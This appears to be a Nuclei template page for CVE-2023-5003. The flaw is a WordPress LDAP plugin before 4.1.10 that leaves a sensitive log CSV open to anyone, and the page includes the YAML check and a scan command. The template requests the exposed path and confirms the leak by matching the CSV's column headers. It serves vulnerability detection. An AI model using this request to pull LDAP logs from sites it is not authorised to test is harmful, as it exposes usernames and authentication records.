Skip to content
Nuclei Templates

Active Directory Integration WP Plugin < 4.1.10 - Log Disclosure

ID: CVE-2023-5003

Severity: high

Author: s4e-io

Tags: wpscan,exposure,csv,ldap,wordpress,wp-plugin,cve,cve2023,miniorange

Description

Section titled “Description”

The Active Directory Integration / LDAP Integration WordPress plugin before 4.1.10 stores sensitive LDAP logs in a buffer file when an administrator wants to export said logs. Unfortunately, this log file is never removed, and remains accessible to any users knowing the URL to do so.

YAML Source

Section titled “YAML Source”
id: CVE-2023-5003


info:
  name: Active Directory Integration WP Plugin < 4.1.10 - Log Disclosure
  author: s4e-io
  severity: high
  description: |
    The Active Directory Integration / LDAP Integration WordPress plugin before 4.1.10 stores sensitive LDAP logs in a buffer file when an administrator wants to export said logs. Unfortunately, this log file is never removed, and remains accessible to any users knowing the URL to do so.
  remediation: Fixed in 4.1.10
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5003
    - https://wpscan.com/vulnerability/91f4e500-71f3-4ef6-9cc7-24a7c12a5748/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-5003
    epss-score: 0.00419
    epss-percentile: 0.7409
    cpe: cpe:2.3:a:miniorange:active_directory_integration_\/_ldap_integration:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: miniorange
    product: active_directory_integration_\/_ldap_integration
    framework: wordpress
  tags: wpscan,exposure,csv,ldap,wordpress,wp-plugin,cve,cve2023,miniorange


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/ldap-authentication-report.csv"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ID"
          - "USERNAME"
          - "TIME"
          - "LDAP STATUS"
        condition: and


      - type: status
        status:
          - 200
# digest: 490a004630440220046f2469fd6929057d7c4b23b41e96716e9ca590792fb80bc244994740be25b8022068a513962a7cb19bdbfec7b136d0b3f342d692742dc06d41f54d7cd934d1c7f7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-5003.yaml"

View on Github